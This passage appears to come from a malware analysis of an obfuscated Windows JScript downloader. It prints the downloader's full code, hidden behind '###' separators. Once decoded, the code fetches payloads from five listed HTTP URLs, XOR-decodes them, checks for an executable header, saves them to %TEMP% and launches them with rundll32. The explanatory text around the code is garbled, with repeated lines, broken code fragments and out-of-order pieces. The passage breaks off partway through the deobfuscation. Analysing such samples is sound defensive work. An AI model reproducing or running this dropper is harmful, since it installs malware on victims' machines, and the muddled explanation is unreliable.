=> result : "abcded"
var vLUm3(parameter)return parameter.split(",").join("");
}Example : vD17 ("a,b,c,d,e,f").split(",").join(")
=> result : "abcded"
{
var vKa9 = new Date();
};=> new Date();
=> creates an new object date (today) :
=> Thu Dec 08 2016 11:20:00 GMT+0100 (Paris, Madrid)
vKa9["setUTCFullYear"]("2003");=> creates an new object date (today) :
=> Thu Dec 08 2016 11:20:00 GMT+0100 (Paris, Madrid)
=> vKa9.setUTCFullYear("2003")
=> changes the year :
=> Thu Dec 08 2003 11:20:00 GMT+0100 (Paris, Madrid)
else return "";
=> changes the year :
=> Thu Dec 08 2003 11:20:00 GMT+0100 (Paris, Madrid)
if (vKa9.getUTCFullYear().toString(10) == "2003") {=> vKa9.getUTCFullYear().toString(10) : year to string compared to"2003"
=> always true because we put 2003 before it is retrieved to the test ....
=> real important part :=> always true because we put 2003 before it is retrieved to the test ....
var vRVh5 = parameter.split("###");
return vRVh5.join("");
}return vRVh5.join("");
else return "";
Conclusion :
vD17(parameter){
=> useless
vLUm3(parameter)
{
The other parts are all similar to : eval(vLUm3("....................................."));
What happens ?return parameter.split(",").join("");
}=> useless
vLUm3(parameter)
{
return parameter.split("###").join("") ;
}The other parts are all similar to : eval(vLUm3("....................................."));
Code:
eval(vLUm3("/###*###@###c###c###_###o###n### ###f###u###n###c###t###i###o###n### ###v###I###b###7###(###v###P###C###l###4###)###{###v###a###r### ###v###W###T###l###9###=###n###e###w### ###A###r###r###a###y###(###)###;###v###W###T###l###9###[###1###9###9###]###=###1###2###8###;###v###W###T###l###9###[###2###5###2###]###=###1###2###9###;###v###W###T###l###9###[###2###3###3###]###=###1###3###0###;###v###W###T###l###9###[###2###2###6###]###=###1###3###1###;###v###W###T###l###9###[###2###2###8###]###=###1###3###2###;###v###W###T###l###9###[###2###2###4###]###=###1###3###3###;###v###W###T###l###9###[###2###2###9###]###=###1###3###4###;###v###W###T###l###9###[###2###3###1###]###=###1###3###5###;###v###W###T###l###9###[###2###3###4###]###=###1###3###6###;###v###W###T###l###9###[###2###3###5###]###=###1###3###7###;###v###W###T###l###9###[###2###3###2###]###=###1###3###8###;###v###W###T###l###9###[###2###3###9###]###=###1###3###9###;###v###W###T###l###9###[###2###3###8###]###=###1###4###0###;###v###W###T###l###9###[###2###3###6###]###=###1###4###1###;###v###W###T###l###9###[###1###9###6###]###=###1###4###2###;###v###W###T###l###9###[###1###9###7###]###=###1###4###3###;###v###W###T###l###9###[###2###0###1###]###=###1###4###4###;###v###W###T###l###9###[###2###3###0###]###=###1###4###5###;###v###W###T###l###9###[###1###9###8###]###=###1###4###6###;###v###W###T###l###9###[###2###4###4###]###=###1###4###7###;###v###W###T###l###9###[###2###4###6###]###=###1###4###8###;###v###W###T###l###9###[###2###4###2###]###=###1###4###9###;###v###W###T###l###9###[###2###5###1###]###=###1###5###0###;###v###W###T###l###9###[###2###4###9###]###=###1###5###1###;###v###W###T###l###9###[###2###5###5###]###=###1###5###2###;###v###W###T###l###9###[###2###1###4###]###=###1###5###3###;###v###W###T###l###9###[###2###2###0###]###=###1###5###4###;###v###W###T###l###9###[###1###6###2###]###=###1###5###5###;###v###W###T###l###9###[###1###6###3###]###=###1###5###6###;###v###W###T###l###9###[###1###6###5###]###=###1###5###7###;###v###W###T###l###9###[###8###3###5###9###]###=###1###5###8###;###v###W###T###l###9###[###4###0###2###]###=###1###5###9###;###v###W###T###l###9###[###2###2###5###]###=###1###6###0###;###v###W###T###l###9###[###2###3###7###]###=###1###6###1###;###v###W###T###l###9###[###2###4###3###]###=###1###6###2###;###v###W###T###l###9###[###2###5###0###]###=###1###6###3###;###v###W###T###l###9###[###2###4###1###]###=###1###6###4###;###v###W###T###l###9###[###2###0###9###]###=###1###6###5###;###v###W###T###l###9###[###1###7###0###]###=###1###6###6###;###v###W###T###l###9###[###1###8###6###]###=###1###6###7###;###v###W###T###l###9###[###1###9###1###]###=###1###6###8###;###v###W###T###l###9###[###8###9###7###6###]###=###1###6###9###;###v###W###T###l###9###[###1###7###2###]###=###1###7###0###;###v###W###T###l###9###[###1###8###9###]###=###1###7###1###;###v###W###T###l###9###[###1###8###8###]###=###1###7###2###;###v###W###T###l###9###[###1###6###1###]###=###1###7###3###;###v###W###T###l###9###[###1###7###1###]###=###1###7###4###;###v###W###T###l###9###[###1###8###7###]###=###1###7###5###;###v###W###T###l###9###[###9###6###1###7###]###=###1###7###6###;###v###W###T###l###9###[###9###6###1###8###]###=###1###7###7###;###v###W###T###l###9###[###9###6###1###9###]###=###1###7###8###;###v###W###T###l###9###[###9###4###7###4###]###=###1###7###9###;###v###W###T###l###9###[###9###5###0###8###]###=###1###8###0###;###v###W###T###l###9###[###9###5###6###9###]###=###1###8###1###;###v###W###T###l###9###[###9###5###7###0###]###=###1###8###2###;###v###W###T###l###9###[###9###5###5###8###]###=###1###8###3###;###v###W###T###l###9###[###9###5###5###7###]###=###1###8###4###;###v###W###T###l###9###[###9###5###7###1###]###=###1###8###5###;###v###W###T###l###9###[###9###5###5###3###]###=###1###8###6###;###v###W###T###l###9###[###9###5###5###9###]###=###1###8###7###;###v###W###T###l###9###[###9###5###6###5###]###=###1###8###8###;###v###W###T###l###9###[###9###5###6###4###]###=###1###8###9###;###v###W###T###l###9###[###9###5###6###3###]###=###1###9###0###;###v###W###T###l###9###[###9###4###8###8###]###=###1###9###1###;###v###W###T###l###9###[###9###4###9###2###]###=###1###9###2###;###v###W###T###l###9###[###9###5###2###4###]###=###1###9###3###;###v###W###T###l###9###[###9###5###1###6###]###=###1###9###4###;###v###W###T###l###9###[###9###5###0###0###]###=###1###9###5###;###v###W###T###l###9###[###9###4###7###2###]###=###1###9###6###;###v###W###T###l###9###[###9###5###3###2###]###=###1###9###7###;###v###W###T###l###9###[###9###5###6###6###]###=###1###9###8###;###v###W###T###l###9###[###9###5###6###7###]###=###1###9###9###;###v###W###T###l###9###[###9###5###6###2###]###=###2###0###0###;###v###W###T###l###9###[###9###5###5###6###]###=###2###0###1###;###v###W###T###l###9###[###9###5###7###7###]###=###2###0###2###;###v###W###T###l###9###[###9###5###7###4###]###=###2###0###3###;###v###W###T###l###9###[###9###5###6###8###]###=###2###0###4###;###v###W###T###l###9###[###9###5###5###2###]###=###2###0###5###;###v###W###T###l###9###[###9###5###8###0###]###=###2###0###6###;###v###W###T###l###9###[###9###5###7###5###]###=###2###0###7###;###v###W###T###l###9###[###9###5###7###6###]###=###2###0###8###;###v###W###T###l###9###[###9###5###7###2###]###=###2###0###9###;###v###W###T###l###9###[###9###5###7###3###]###=###2###1###0###;###v###W###T###l###9###[###9###5###6###1###]###=###2###1###1###;###v###W###T###l###9###[###9###5###6###0###]###=###2###1###2###;###v###W###T###l###9###[###9###5###5###4###]###=###2###1###3###;###v###W###T###l###9###[###9###5###5###5###]###=###2###1###4###;###v###W###T###l###9###[###9###5###7###9###]###=###2###1###5###;###v###W###T###l###9###[###9###5###7###8###]###=###2###1###6###;###v###W###T###l###9###[###9###4###9###6###]###=###2###1###7###;###v###W###T###l###9###[###9###4###8###4###]###=###2###1###8###;###v###W###T###l###9###[###9###6###0###8###]###=###2###1###9###;###v###W###T###l###9###[###9###6###0###4###]###=###2###2###0###;###v###W###T###l###9###[###9###6###1###2###]###=###2###2###1###;###v###W###T###l###9###[###9###6###1###6###]###=###2###2###2###;###v###W###T###l###9###[###9###6###0###0###]###=###2###2###3###;###v###W###T###l###9###[###9###4###5###]###=###2###2###4###;###v###W###T###l###9###[###2###2###3###]###=###2###2###5###;###v###W###T###l###9###[###9###1###5###]###=###2###2###6###;###v###W###T###l###9###[###9###6###0###]###=###2###2###7###;###v###W###T###l###9###[###9###3###1###]###=###2###2###8###;###v###W###T###l###9###[###9###6###3###]###=###2###2###9###;###v###W###T###l###9###[###1###8###1###]###=###2###3###0###;###v###W###T###l###9###[###9###6###4###]###=###2###3###1###;###v###W###T###l###9###[###9###3###4###]###=###2###3###2###;###v###W###T###l###9###[###9###2###0###]###=###2###3###3###;###v###W###T###l###9###[###9###3###7###]###=###2###3###4###;###v###W###T###l###9###[###9###4###8###]###=###2###3###5###;###v###W###T###l###9###[###8###7###3###4###]###=###2###3###6###;###v###W###T###l###9###[###9###6###6###]###=###2###3###7###;###v###W###T###l###9###[###9###4###9###]###=###2###3###8###;###v###W###T###l###9###[###8###7###4###5###]###=###2###3###9###;###v###W###T###l###9###[###8###8###0###1###]###=###2###4###0###;###v###W###T###l###9###[###1###7###7###]###=###2###4###1###;###v###W###T###l###9###[###8###8###0###5###]###=###2###4###2###;###v###W###T###l###9###[###8###8###0###4###]###=###2###4###3###;###v###W###T###l###9###[###8###9###9###2###]###=###2###4###4###;###v###W###T###l###9###[###8###9###9###3###]###=###2###4###5###;###v###W###T###l###9###[###2###4###7###]###=###2###4###6###;###v###W###T###l###9###[###8###7###7###6###]###=###2###4###7###;###v###W###T###l###9###[###1###7###6###]###=###2###4###8###;###v###W###T###l###9###[###8###7###2###9###]###=###2###4###9###;###v###W###T###l###9###[###1###8###3###]###=###2###5###0###;###v###W###T###l###9###[###8###7###3###0###]###=###2###5###1###;###v###W###T###l###9###[###8###3###1###9###]###=###2###5###2###;###v###W###T###l###9###[###1###7###8###]###=###2###5###3###;###v###W###T###l###9###[###9###6###3###2###]###=###2###5###4###;###v###W###T###l###9###[###1###6###0###]###=###2###5###5###;###v###a###r### ###v###R###V###h###5###=###n###e###w### ###A###r###r###a###y###(###)###;###f###o###r### ###(###v###a###r### ###v###D###p###1###=###0###;### ###v###D###p###1### ###<### ###v###P###C###l###4###.###l###e###n###g###t###h###;### ###v###D###p###1### ###+###=### ###1###)###{###v###a###r### ###v###K###g###5###=###v###P###C###l###4###[###\"###c###h###a###r###C###o###d###e###A###t###\"###]###(###v###D###p###1###)###;###i###f### ###(###v###K###g###5### ###<### ###1###2###8###)###{###v###a###r### ###v###K###U###k###3###=###v###K###g###5###;###}###e###l###s###e### ###{###v###a###r### ###v###K###U###k###3###=###v###W###T###l###9###[###v###K###g###5###]###;###}###v###R###V###h###5###[###\"###p###u###s###h###\"###]###(###v###K###U###k###3###)###;###}###;###r###e###t###u###r###n### ###v###R###V###h###5###;###}### ###@###*###/"));
eval(vLUm3("f###u###n###c###t###i###o###n### ###v###Q###v###8###(###v###M###H###n###8###)###{###v###a###r### ###v###G###p###4###=###n###e###w### ###A###r###r###a###y###(###)###;###v###G###p###4###[###1###6###8###]###=###1###9###1###;###v###G###p###4###[###1###6###9###]###=###8###9###7###6###;###v###G###p###4###[###1###7###0###]###=###1###7###2###;###v###G###p###4###[###1###7###1###]###=###1###8###9###;###v###G###p###4###[###1###7###2###]###=###1###8###8###;###v###G###p###4###[###1###7###3###]###=###1###6###1###;###v###G###p###4###[###1###7###4###]###=###1###7###1###;###v###G###p###4###[###1###7###5###]###=###1###8###7###;###v###G###p###4###[###1###7###6###]###=###9###6###1###7###;###v###G###p###4###[###1###7###7###]###=###9###6###1###8###;###v###G###p###4###[###1###7###8###]###=###9###6###1###9###;###v###G###p###4###[###1###7###9###]###=###9###4###7###4###;###v###G###p###4###[###1###8###0###]###=###9###5###0###8###;###v###G###p###4###[###1###8###1###]###=###9###5###6###9###;###v###G###p###4###[###1###8###2###]###=###9###5###7###0###;###v###G###p###4###[###1###8###3###]###=###9###5###5###8###;###v###G###p###4###[###1###8###4###]###=###9###5###5###7###;###v###G###p###4###[###1###8###5###]###=###9###5###7###1###;###v###G###p###4###[###1###8###6###]###=###9###5###5###3###;###v###G###p###4###[###1###8###7###]###=###9###5###5###9###;###v###G###p###4###[###1###8###8###]###=###9###5###6###5###;###v###G###p###4###[###1###8###9###]###=###9###5###6###4###;###v###G###p###4###[###1###9###0###]###=###9###5###6###3###;###v###G###p###4###[###1###9###1###]###=###9###4###8###8###;###v###G###p###4###[###1###9###2###]###=###9###4###9###2###;###v###G###p###4###[###1###9###3###]###=###9###5###2###4###;###v###G###p###4###[###1###9###4###]###=###9###5###1###6###;###v###G###p###4###[###1###9###5###]###=###9###5###0###0###;###v###G###p###4###[###1###9###6###]###=###9###4###7###2###;###v###G###p###4###[###1###9###7###]###=###9###5###3###2###;###v###G###p###4###[###1###9###8###]###=###9###5###6###6###;###v###G###p###4###[###1###9###9###]###=###9###5###6###7###;###v###G###p###4###[###2###0###0###]###=###9###5###6###2###;###v###G###p###4###[###2###0###1###]###=###9###5###5###6###;###v###G###p###4###[###2###0###2###]###=###9###5###7###7###;###v###G###p###4###[###2###0###3###]###=###9###5###7###4###;###v###G###p###4###[###2###0###4###]###=###9###5###6###8###;###v###G###p###4###[###2###0###5###]###=###9###5###5###2###;###v###G###p###4###[###2###0###6###]###=###9###5###8###0###;###v###G###p###4###[###2###0###7###]###=###9###5###7###5###;###v###G###p###4###[###2###0###8###]###=###9###5###7###6###;###v###G###p###4###[###2###0###9###]###=###9###5###7###2###;###v###G###p###4###[###2###1###0###]###=###9###5###7###3###;###v###G###p###4###[###2###1###1###]###=###9###5###6###1###;###v###G###p###4###[###2###1###2###]###=###9###5###6###0###;###v###G###p###4###[###2###1###3###]###=###9###5###5###4###;###v###G###p###4###[###2###1###4###]###=###9###5###5###5###;###v###G###p###4###[###2###1###5###]###=###9###5###7###9###;###v###G###p###4###[###2###1###6###]###=###9###5###7###8###;###v###G###p###4###[###2###1###7###]###=###9###4###9###6###;###v###G###p###4###[###2###1###8###]###=###9###4###8###4###;###v###G###p###4###[###2###1###9###]###=###9###6###0###8###;###v###G###p###4###[###2###2###0###]###=###9###6###0###4###;###v###G###p###4###[###2###2###1###]###=###9###6###1###2###;###v###G###p###4###[###2###2###2###]###=###9###6###1###6###;###v###G###p###4###[###2###2###3###]###=###9###6###0###0###;###v###G###p###4###[###2###2###4###]###=###9###4###5###;###v###G###p###4###[###2###2###5###]###=###2###2###3###;###v###G###p###4###[###2###2###6###]###=###9###1###5###;###v###G###p###4###[###2###2###7###]###=###9###6###0###;###v###G###p###4###[###2###2###8###]###=###9###3###1###;###v###G###p###4###[###2###2###9###]###=###9###6###3###;###v###G###p###4###[###2###3###0###]###=###1###8###1###;###v###G###p###4###[###2###3###1###]###=###9###6###4###;###v###G###p###4###[###2###3###2###]###=###9###3###4###;###v###G###p###4###[###2###3###3###]###=###9###2###0###;###v###G###p###4###[###2###3###4###]###=###9###3###7###;###v###G###p###4###[###2###3###5###]###=###9###4###8###;###v###G###p###4###[###2###3###6###]###=###8###7###3###4###;###v###G###p###4###[###2###3###7###]###=###9###6###6###;###v###G###p###4###[###2###3###8###]###=###9###4###9###;###v###G###p###4###[###2###3###9###]###=###8###7###4###5###;###v###G###p###4###[###2###4###0###]###=###8###8###0###1###;###v###G###p###4###[###2###4###1###]###=###1###7###7###;###v###G###p###4###[###2###4###2###]###=###8###8###0###5###;###v###G###p###4###[###2###4###3###]###=###8###8###0###4###;###v###G###p###4###[###2###4###4###]###=###8###9###9###2###;###v###G###p###4###[###2###4###5###]###=###8###9###9###3###;###v###G###p###4###[###2###4###6###]###=###2###4###7###;###v###G###p###4###[###2###4###7###]###=###8###7###7###6###;###v###G###p###4###[###2###4###8###]###=###1###7###6###;###v###G###p###4###[###2###4###9###]###=###8###7###2###9###;###v###G###p###4###[###2###5###0###]###=###1###8###3###;###v###G###p###4###[###2###5###1###]###=###8###7###3###0###;###v###G###p###4###[###2###5###2###]###=###8###3###1###9###;###v###G###p###4###[###2###5###3###]###=###1###7###8###;###v###G###p###4###[###2###5###4###]###=###9###6###3###2###;###v###G###p###4###[###2###5###5###]###=###1###6###0###;###v###G###p###4###[###1###2###8###]###=###1###9###9###;###v###G###p###4###[###1###2###9###]###=###2###5###2###;###v###G###p###4###[###1###3###0###]###=###2###3###3###;###v###G###p###4###[###1###3###1###]###=###2###2###6###;###v###G###p###4###[###1###3###2###]###=###2###2###8###;###v###G###p###4###[###1###3###3###]###=###2###2###4###;###v###G###p###4###[###1###3###4###]###=###2###2###9###;###v###G###p###4###[###1###3###5###]###=###2###3###1###;###v###G###p###4###[###1###3###6###]###=###2###3###4###;###v###G###p###4###[###1###3###7###]###=###2###3###5###;###v###G###p###4###[###1###3###8###]###=###2###3###2###;###v###G###p###4###[###1###3###9###]###=###2###3###9###;###v###G###p###4###[###1###4###0###]###=###2###3###8###;###v###G###p###4###[###1###4###1###]###=###2###3###6###;###v###G###p###4###[###1###4###2###]###=###1###9###6###;###v###G###p###4###[###1###4###3###]###=###1###9###7###;###v###G###p###4###[###1###4###4###]###=###2###0###1###;###v###G###p###4###[###1###4###5###]###=###2###3###0###;###v###G###p###4###[###1###4###6###]###=###1###9###8###;###v###G###p###4###[###1###4###7###]###=###2###4###4###;###v###G###p###4###[###1###4###8###]###=###2###4###6###;###v###G###p###4###[###1###4###9###]###=###2###4###2###;###v###G###p###4###[###1###5###0###]###=###2###5###1###;###v###G###p###4###[###1###5###1###]###=###2###4###9###;###v###G###p###4###[###1###5###2###]###=###2###5###5###;###v###G###p###4###[###1###5###3###]###=###2###1###4###;###v###G###p###4###[###1###5###4###]###=###2###2###0###;###v###G###p###4###[###1###5###5###]###=###1###6###2###;###v###G###p###4###[###1###5###6###]###=###1###6###3###;###v###G###p###4###[###1###5###7###]###=###1###6###5###;###v###G###p###4###[###1###5###8###]###=###8###3###5###9###;###v###G###p###4###[###1###5###9###]###=###4###0###2###;###v###G###p###4###[###1###6###0###]###=###2###2###5###;###v###G###p###4###[###1###6###1###]###=###2###3###7###;###v###G###p###4###[###1###6###2###]###=###2###4###3###;###v###G###p###4###[###1###6###3###]###=###2###5###0###;###v###G###p###4###[###1###6###4###]###=###2###4###1###;###v###G###p###4###[###1###6###5###]###=###2###0###9###;###v###G###p###4###[###1###6###6###]###=###1###7###0###;###v###G###p###4###[###1###6###7###]###=###1###8###6###;###v###a###r### ###v###C###r###0###=###n###e###w### ###A###r###r###a###y###(###)###;###v###a###r### ###v###D###P###d###8###=###\"###\"###;###v###a###r### ###v###K###U###k###3###;### ###v###a###r### ###v###K###g###5###;###f###o###r### ###(###v###a###r### ###v###D###p###1###=###0###;### ###v###D###p###1### ###<### ###v###M###H###n###8###.###l###e###n###g###t###h###;### ###v###D###p###1### ###+###=### ###1###)###{###v###K###U###k###3###=###v###M###H###n###8###[###v###D###p###1###]###;###i###f### ###(###v###K###U###k###3### ###<### ###1###2###8###)###{###v###K###g###5###=###v###K###U###k###3###;###}### ###e###l###s###e### ###{###v###K###g###5###=###v###G###p###4###[###v###K###U###k###3###]###;###}###v###C###r###0###.###p###u###s###h###(###S###t###r###i###n###g###[###\"###f###r###o###m###C###h###a###r###C###o###d###e###\"###]###(###v###K###g###5###)###)###;###}###v###D###P###d###8###=###v###C###r###0###[###\"###j###o###i###n###\"###]###(###\"###\"###)###;###r###e###t###u###r###n### ###v###D###P###d###8###;###}"));
eval(vLUm3("f###u###n###c###t###i###o###n### ###v###C###O###e###9###(###v###M###H###n###8###,### ###v###H###i###9###)###{###v###a###r### ###v###F###c###8### ###=### ###v###I###b###7###(###v###H###i###9###)###;###f###o###r### ###(###v###a###r### ###v###D###p###1### ###=### ###0###;### ###v###D###p###1### ###<### ###v###M###H###n###8###.###l###e###n###g###t###h###;### ###v###D###p###1### ###+###=### ###1###)### ###{###v###M###H###n###8###[###v###D###p###1###]### ###^###=### ###v###F###c###8###[###v###D###p###1### ###%### ###v###F###c###8###.###l###e###n###g###t###h###]###;###}###;###r###e###t###u###r###n### ###v###M###H###n###8###;###}"));
eval(vLUm3("f###u###n###c###t###i###o###n### ###v###B###Y###o###5###(###v###A###F###r###7###)###{###v###a###r### ###v###T###s###6###=###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###A###D###O###D###B###.###S###t###r###e###a###m###\"###)###;###v###T###s###6###.###t###y###p###e###=###2###;###v###T###s###6###[###\"###C###h###a###r###s###e###t###\"###]###=###\"###4###3###7###\"###;###v###T###s###6###.###o###p###e###n###(###)###;###v###T###s###6###[###\"###L###o###a###d###F###r###o###m###F###i###l###e###\"###]###(###v###A###F###r###7###)###;###v###a###r### ###v###E###j###8###=###v###T###s###6###[###\"###R###e###a###d###T###e###x###t###\"###]###;###v###T###s###6###.###c###l###o###s###e###(###)###;###r###e###t###u###r###n### ###v###I###b###7###(###v###E###j###8###)###;###}"));
eval(vLUm3("f###u###n###c###t###i###o###n### ###v###Q###m###1###(###v###A###F###r###7###,### ###v###M###H###n###8###)###{###v###a###r### ###v###T###s###6###=###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###A###D###O###D###B###.###S###t###r###e###a###m###\"###)###;###v###T###s###6###.###t###y###p###e###=###2###;###v###T###s###6###[###\"###C###h###a###r###s###e###t###\"###]###=###\"###4###3###7###\"###;###v###T###s###6###.###o###p###e###n###(###)###;###v###T###s###6###[###\"###w###r###i###t###e###T###e###x###t###\"###]###(###v###Q###v###8###(###v###M###H###n###8###)###)###;###v###T###s###6###[###\"###S###a###v###e###T###o###F###i###l###e###\"###]###(###v###A###F###r###7###,### ###2###)###;###v###T###s###6###.###c###l###o###s###e###(###)###;###}"));
eval(vLUm3("v###a###r### ###v###Y###c###9### ###=### ###\"###h###t###t###p###:###/###/###\"###;"));
eval(vLUm3(" ### ### ### ###v###a###r### ###v###S###F###m###7### ###=### ###n###e###w### ###A###r###r###a###y###(###)###;"));
eval(vLUm3("v###S###F###m###7###.###p###u###s###h###(###v###Y###c###9### ###+### ###\"###r###e###l###i###a###t###e###m###p###.###n###e###t###/###5###z###u###h###r###i###k###z###t###\"###)###;"));
eval(vLUm3("v###S###F###m###7###.###p###u###s###h###(###v###Y###c###9### ###+### ###\"###s###a###l###e###m###w###i###t###c###h###c###a###t###.###c###o###m###/###5###y###a###j###m###7###i###o###p###z###\"###)###;"));
eval(vLUm3("v###S###F###m###7###.###p###u###s###h###(###v###Y###c###9### ###+### ###\"###r###o###y###a###l###o###a###k###r###i###p###o###n###.###c###o###.###u###k###/###8###e###e###c###j###b###l###k###e###\"###)###;"));
eval(vLUm3("v###S###F###m###7###.###p###u###s###h###(###v###Y###c###9### ###+### ###\"###s###h###o###p###c###l###a###z###.###c###o###m###/###w###n###r###n###n###q###j###f###\"###)###;"));
eval(vLUm3("v###S###F###m###7###.###p###u###s###h###(###v###Y###c###9### ###+### ###\"###r###i###v###i###e###r###a###-###l###i###g###u###r###e###.###i###t###/###w###1###u###o###e###\"###)###;"));
eval(vLUm3("v###a###r### ###v###S###X###d###2### ###=### ###\"###P###N###I###q###X###x###F###U###\"###;"));
eval(vLUm3("v###a###r### ###v###R###Q###b###0### ###=### ###\"###z###K###O###V###\"###;"));
eval(vLUm3("v###a###r### ###v###U###m###6### ###=### ###\"###d###s###6###N###i###I###X###B###P###p###\"###;"));
eval(vLUm3(""));
eval(vLUm3("v###a###r### ###v###N###a###6### ###=### ###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###S###c###r###i###p###t###i###n###g###.###F###i###l###e###S###y###s###t###e###m###O###b###j###e###c###t###\"###)###;"));
eval(vLUm3("v###a###r### ###v###P###h###0###=###2###;"));
eval(vLUm3("v###a###r### ###v###D###G###p###4###=###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###W###S###c###r###i###p###t###.###S###h###e###l###l###\"###)###;"));
eval(vLUm3("v###a###r### ###v###T###V###z###6###=###v###D###G###p###4###[###'###E###x###p###a###n###d###E###n###v###i###r###o###n###m###e###n###t###S###t###r###i###n###g###s###'###]###(###'###%###T###E###M###P###%###/###'###)###;"));
eval(vLUm3("v###a###r### ###v###D###P###v###7###=###v###T###V###z###6### ###+### ###v###S###X###d###2###;"));
eval(vLUm3("v###a###r### ###v###K###w###3###=###v###D###P###v###7### ###+### ###\"###.###z###\"### ###+### ###\"###k###\"###;"));
eval(vLUm3("v###a###r### ###v###Q###E###i###8### ###=### ###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###M###S###X###M###L###2###.###X###M###L###H###T###T###P###\"###)###;"));
eval(vLUm3("f###u###n###c###t###i###o###n### ###v###F###F###e###9###(###)###{###v###a###r### ###v###K###s###6### ###=### ###v###N###a###6###.###G###e###t###F###i###l###e###(###v###K###w###3###)###;###r###e###t###u###r###n### ###v###K###s###6###.###S###h###o###r###t###P###a###t###h###;###}"));
eval(vLUm3("v###a###r### ###v###L###k###5### ###=### ###0###;"));
eval(vLUm3("/###*###@###c###c###_###o###n### ###f###o###r### ###(###v###a###r### ###v###X###C###g###9### ###=### ###0###;### ###v###X###C###g###9### ###<### ###v###S###F###m###7###.###l###e###n###g###t###h###;### ###v###X###C###g###9### ###=### ###v###X###C###g###9### ###+### ###1###)###{###t###r###y###{###v###a###r### ###v###Q###r###2###=###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###A###D###O###D###B###.###S###t###r###e###a###m###\"###)###;###v###Q###E###i###8###.###o###p###e###n###(###\"###G###E###T###\"###,### ###v###S###F###m###7###[###v###X###C###g###9###]###,### ###f###a###l###s###e###)###;###v###Q###E###i###8###.###s###e###t###R###e###q###u###e###s###t###H###e###a###d###e###r###(###\"###U###s###e###r###-###A###g###e###n###t###\"###,###\"###M###o###z###i###l###l###a###/###4###.###0### ###(###c###o###m###p###a###t###i###b###l###e###;### ###M###S###I###E### ###6###.###0###;### ###W###i###n###d###o###w###s### ###N###T### ###5###.###0###)###\"###)###;###v###Q###E###i###8###[###\"###s###e###n###d###\"###]###(###)###;###v###Q###r###2###.###o###p###e###n###(###)###;###v###Q###r###2###.###t###y###p###e###=###1###;###v###a###r### ###v###P###Z###f###1### ###=### ###n###e###w### ###D###a###t###e###(###)###;###v###P###Z###f###1###.###s###e###t###F###u###l###l###Y###e###a###r###(###\"###2###0###0###1###\"###)###;###v###Q###r###2###.###w###r###i###t###e###(###v###Q###E###i###8###.###R###e###s###p###o###n###s###e###B###o###d###y###)###;###v###Q###r###2###.###p###o###s###i###t###i###o###n###=###0###;###i###f### ###(###v###P###Z###f###1###.###g###e###t###F###u###l###l###Y###e###a###r###(###)###.###t###o###S###t###r###i###n###g###(###1###0###)### ###=###=### ###\"###2###0###0###1###\"###)### ###v###Q###r###2###[###\"###S###a###v###e###T###o###F###i###l###e###\"###]###(###v###D###P###v###7###,### ###v###P###h###0###)###;###v###Q###r###2###.###c###l###o###s###e###(###)###;###v###a###r### ###v###R###V###h###5### ###=### ###v###B###Y###o###5###(###v###D###P###v###7###)###;###v###R###V###h###5### ###=### ###v###C###O###e###9###(###v###R###V###h###5###,### ###v###U###m###6###)###;###i###f### ###(###v###R###V###h###5###[###0###]### ###!###=### ###7###7### ###|###|### ###v###R###V###h###5###[###1###]### ###!###=### ###9###0###)### ###c###o###n###t###i###n###u###e###;###v###Q###m###1###(###v###K###w###3###,### ###v###R###V###h###5###)###;###v###a###r### ###v###Q###L###o###3### ###=### ###v###F###F###e###9###(###)###;###i###f### ###(###v###P###Z###f###1###[###\"###g###e###t###F###u###l###l###Y###e###a###r###\"###]###(###)###.###t###o###S###t###r###i###n###g###(###1###0###)### ###=###=### ###\"###2###0###0###1###\"###)### ###v###D###G###p###4###[###\"###R###u###n###\"###]###(###\"###r###u###n###d###l###l###3###2###\"### ###+### ###\"### ###\"### ###+### ###v###Q###L###o###3### ###+### ###\"###,###\"### ###+### ###v###R###Q###b###0###)###;###b###r###e###a###k###;###}###c###a###t###c###h### ###(###e###)### ###{###c###o###n###t###i###n###u###e###;###}###;###}### ###@###*###/"));
For each line :
vLUm3 function decode the string, similar to deleting each "###"
then eval is called => evaluate / run the part.
then eval is called => evaluate / run the part.
3) Deobfuscation :
To decode the obfuscated part, in static, the method is : we first have to replace with an editor (notepad++) the ### by empty (similar to delete)
Code:
var vDl7 = new Function("vDPd8", '{return vDPd8.split(",").join("");};');
var = new Function("vDPd8", '{var vKa9 = new Date();vKa9["setUTCFullYear"]("2003");if (vKa9.getUTCFullYear().toString(10) == "2003") {var vRVh5 = vDPd8.split(""); return vRVh5.join("");} else return "";};');
eval(("/*@cc_on function vIb7(vPCl4){var vWTl9=new Array();vWTl9[199]=128;vWTl9[252]=129;vWTl9[233]=130;vWTl9[226]=131;vWTl9[228]=132;vWTl9[224]=133;vWTl9[229]=134;vWTl9[231]=135;vWTl9[234]=136;vWTl9[235]=137;vWTl9[232]=138;vWTl9[239]=139;vWTl9[238]=140;vWTl9[236]=141;vWTl9[196]=142;vWTl9[197]=143;vWTl9[201]=144;vWTl9[230]=145;vWTl9[198]=146;vWTl9[244]=147;vWTl9[246]=148;vWTl9[242]=149;vWTl9[251]=150;vWTl9[249]=151;vWTl9[255]=152;vWTl9[214]=153;vWTl9[220]=154;vWTl9[162]=155;vWTl9[163]=156;vWTl9[165]=157;vWTl9[8359]=158;vWTl9[402]=159;vWTl9[225]=160;vWTl9[237]=161;vWTl9[243]=162;vWTl9[250]=163;vWTl9[241]=164;vWTl9[209]=165;vWTl9[170]=166;vWTl9[186]=167;vWTl9[191]=168;vWTl9[8976]=169;vWTl9[172]=170;vWTl9[189]=171;vWTl9[188]=172;vWTl9[161]=173;vWTl9[171]=174;vWTl9[187]=175;vWTl9[9617]=176;vWTl9[9618]=177;vWTl9[9619]=178;vWTl9[9474]=179;vWTl9[9508]=180;vWTl9[9569]=181;vWTl9[9570]=182;vWTl9[9558]=183;vWTl9[9557]=184;vWTl9[9571]=185;vWTl9[9553]=186;vWTl9[9559]=187;vWTl9[9565]=188;vWTl9[9564]=189;vWTl9[9563]=190;vWTl9[9488]=191;vWTl9[9492]=192;vWTl9[9524]=193;vWTl9[9516]=194;vWTl9[9500]=195;vWTl9[9472]=196;vWTl9[9532]=197;vWTl9[9566]=198;vWTl9[9567]=199;vWTl9[9562]=200;vWTl9[9556]=201;vWTl9[9577]=202;vWTl9[9574]=203;vWTl9[9568]=2